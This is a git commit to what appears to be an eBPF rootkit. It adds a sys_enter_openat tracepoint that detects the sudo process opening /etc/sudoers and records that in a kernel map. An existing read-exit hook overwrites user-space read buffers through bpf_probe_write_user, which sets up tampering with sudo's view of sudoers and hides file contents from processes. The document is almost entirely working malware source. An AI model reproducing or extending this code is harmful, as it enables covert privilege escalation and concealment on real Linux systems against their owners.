Added new hooks and updated map fields to support new sudo module.

This commit is contained in:
h3xduck
2022-02-05 13:49:20 -05:00
parent 2b50d376a6
commit 643783004a
12 changed files with 1675 additions and 1346 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -6,8 +6,14 @@
#define SECRET_PACKET_DEST_PORT 9000
#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
//FS
#define STRING_FS_HIDE "This won't be seen"
#define STRING_FS_OVERWRITE "That is now hidden"
#define STRING_FS_SUDO_TASK "sudo"
#define STRING_FS_SUDO_TASK_LEN 5
#define STRING_FS_SUDOERS_FILE "/etc/sudoers"
#define STRING_FS_SUDOERS_FILE_LEN 13
#endif

View File

@@ -0,0 +1,28 @@
#ifndef __BPF_MAP_DEFS_H
#define __BPF_MAP_DEFS_H
#include "headervmlinux.h"
//Tasks and comms
#define TASK_COMM_LEN 16
//File system data of a running program which opened some fd
#define FS_OPEN_DATA_PROGRAM_NAME_SIZE 16
#define FS_OPEN_DATA_FILENAME_SIZE 16
struct fs_open_data{
char* buf;
int fd;
__u32 pid;
char program_name[FS_OPEN_DATA_PROGRAM_NAME_SIZE];
char filename[FS_OPEN_DATA_FILENAME_SIZE];
int is_sudo;
};
struct fs_open{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct fs_open_data);
} fs_open SEC(".maps");
#endif

View File

@@ -9,6 +9,7 @@
#include <linux/ptrace.h>
#include <linux/stat.h>*/
#include <ctype.h>
#include <string.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
@@ -17,11 +18,12 @@
#include "../../../common/constants.h"
#include "../../../common/map_common.h"
#include "../data/ring_buffer.h"
#include "map_defs.h"
#include "defs.h"
#include "../utils/strings.h"
/**
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_exit_read/format
* Also https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
*/
struct sys_read_exit_ctx {
unsigned long long unused; //Pointer to pt_regs
@@ -30,7 +32,8 @@ struct sys_read_exit_ctx {
};
/**
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_read/format
* Also https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
*/
struct sys_read_enter_ctx {
unsigned long long unused; //Pointer to pt_regs
@@ -41,56 +44,40 @@ struct sys_read_enter_ctx {
size_t count;
};
/**
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_open/format
*/
struct sys_openat_enter_ctx {
unsigned long long unused;
int __syscall_nr;
unsigned int padding;
int dfd;
char* filename;
unsigned int flags;
umode_t mode;
};
static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
__u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 pid = pid_tgid >> 32;
struct fs_open_data data = {
.buf = buf,
.fd = fd,
.pid = pid
};
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
struct fs_open_data *stored_data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
if (stored_data == NULL){
//Not found
//bpf_printk("Not found\n");
return -1;
}
struct fs_open_data data = *stored_data;
data.buf = buf;
data.fd = fd;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_EXIST);
//bpf_printk("IN PID: %u, FS:%u\n", pid, fd);
return 0;
}
static __always_inline int handle_sys_write(struct sys_read_enter_ctx *ctx, int fd, char* buf){
}
/**
* @brief Receives read event and stores the parameters into internal map
*
*/
SEC("tp/syscalls/sys_enter_read")
int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) {
struct sys_read_enter_ctx *rctx = ctx;
if (ctx == NULL){
bpf_printk("Error\n");
return 0;
}
int fd = (int) ctx->fd;
char *buf = (char*) ctx->buf;
return handle_tp_sys_enter_read(ctx, fd, buf);
}
/**
* @brief Called AFTER the ksys_read call, checks the internal
* map for the tgid+pid used and extracts the parameters.
* Uses the user-space buffer reference for overwritting the returned
* values.
*
*/
SEC("tp/syscalls/sys_exit_read")
int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
//bpf_printk("OUT PID: %u\n", pid_tgid>>32);
static __always_inline int handle_tp_sys_exit_read(struct sys_read_exit_ctx *ctx, __u64 pid_tgid){
struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
if (data == NULL || data->buf == NULL){
//Not found
@@ -126,10 +113,11 @@ int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
//bpf_printk("Discarded string at pid cause c %u, %s\n", pid, buf);
return -1;
}
}
bpf_printk("Overwritting at pid %u, %s\n", pid, buf);
bpf_printk("Filename is %s\n", data->filename);
bpf_printk("and program name is %s\n", data->program_name);
if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1)<0){
bpf_printk("Error writing to user memory\n");
}
@@ -138,4 +126,106 @@ int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
return 0;
}
static __always_inline int handle_tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx, __u64 pid_tgid){
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
/*struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
if (data == NULL || data->buf == NULL){
//Not found
bpf_printk("Not found in openat\n");
return -1;
}*/
if(err < 0){
return -1;
}
char filename[STRING_FS_SUDOERS_FILE_LEN] = {0};
bpf_probe_read_user(&filename, STRING_FS_SUDOERS_FILE_LEN, (char*)ctx->filename);
__u32 pid = pid_tgid >> 32;
struct fs_open_data data = {
.pid = pid
};
bpf_probe_read(data.filename, STRING_FS_SUDOERS_FILE_LEN, filename);
bpf_probe_read(data.program_name, FS_OPEN_DATA_PROGRAM_NAME_SIZE, comm);
//Check task is sudo
char *sudo = STRING_FS_SUDO_TASK;
if(str_n_compare(comm, TASK_COMM_LEN, sudo, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
data.is_sudo = 0;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
return 0;
}
//Check filename is the sudoers file
char *sudoers = STRING_FS_SUDOERS_FILE;
if(str_n_compare(filename, STRING_FS_SUDOERS_FILE_LEN, sudoers, STRING_FS_SUDOERS_FILE_LEN, STRING_FS_SUDOERS_FILE_LEN) != 0){
data.is_sudo = 0;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
return 0;
}
data.is_sudo = 1;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
bpf_printk("It was a sudo!\n");
return 0;
}
/**
* @brief Receives read event and stores the parameters into internal map
*
*/
SEC("tp/syscalls/sys_enter_read")
int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) {
struct sys_read_enter_ctx *rctx = ctx;
if (ctx == NULL){
bpf_printk("Error\n");
return 0;
}
int fd = (int) ctx->fd;
char *buf = (char*) ctx->buf;
return handle_tp_sys_enter_read(ctx, fd, buf);
}
/**
* @brief Called AFTER the ksys_read call, checks the internal
* map for the tgid+pid used and extracts the parameters.
* Uses the user-space buffer reference for overwritting the returned
* values.
*/
SEC("tp/syscalls/sys_exit_read")
int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
//bpf_printk("OUT PID: %u\n", pid_tgid>>32);
return handle_tp_sys_exit_read(ctx, pid_tgid);
}
/**
* @brief
*
*/
SEC("tp/syscalls/sys_enter_openat")
int tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
return handle_tp_sys_enter_openat(ctx, pid_tgid);
}
#endif

View File

@@ -1,20 +0,0 @@
#ifndef __BPF_MAP_DEFS_H
#define __BPF_MAP_DEFS_H
#include "headervmlinux.h"
//File system
struct fs_open_data{
char* buf;
int fd;
__u32 pid;
};
struct fs_open{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1024*sizeof(struct fs_open_data));
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct fs_open_data);
} fs_open SEC(".maps");
#endif

View File

@@ -58,10 +58,6 @@ static __always_inline char* str_n_copy(char *dest, const char *src, int count){
return dest;
}
/**
* @brief Checks if string is a
*
*/

View File

@@ -16,9 +16,15 @@ int attach_tp_sys_exit_read(struct kit_bpf *skel){
skel->links.tp_sys_exit_read = bpf_program__attach(skel->progs.tp_sys_exit_read);
return libbpf_get_error(skel->links.tp_sys_exit_read);
}
int attach_tp_sys_enter_openat(struct kit_bpf *skel){
skel->links.tp_sys_enter_openat = bpf_program__attach(skel->progs.tp_sys_enter_openat);
return libbpf_get_error(skel->links.tp_sys_enter_openat);
}
int attach_fs_all(struct kit_bpf *skel){
return attach_tp_sys_enter_read(skel) || attach_tp_sys_exit_read(skel);
return attach_tp_sys_enter_read(skel) ||
attach_tp_sys_exit_read(skel) ||
attach_tp_sys_enter_openat(skel);
}
@@ -38,9 +44,19 @@ int detach_tp_sys_exit_read(struct kit_bpf *skel){
}
return 0;
}
int detach_tp_sys_enter_openat(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.tp_sys_enter_openat);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_fs_all(struct kit_bpf *skel){
return detach_tp_sys_enter_read(skel) || detach_tp_sys_exit_read(skel);
return detach_tp_sys_enter_read(skel) ||
detach_tp_sys_exit_read(skel) ||
detach_tp_sys_enter_openat(skel);
}
#endif

View File

@@ -15,7 +15,8 @@ module_config_t module_config = {
.fs_module = {
.all = ON,
.tp_sys_enter_read = OFF,
.tp_sys_exit_read = OFF
.tp_sys_exit_read = OFF,
.tp_sys_enter_openat = OFF
}
};
@@ -59,6 +60,7 @@ int setup_all_modules(){
}else{
if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel);
if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel);
if(config.fs_module.tp_sys_enter_openat == ON) ret = attach_tp_sys_enter_openat(attr.skel);
}
if(ret!=0) return -1;

View File

@@ -27,6 +27,7 @@ typedef struct module_config_t{
char all;
char tp_sys_enter_read;
char tp_sys_exit_read;
char tp_sys_enter_openat;
}fs_module;
} module_config_t;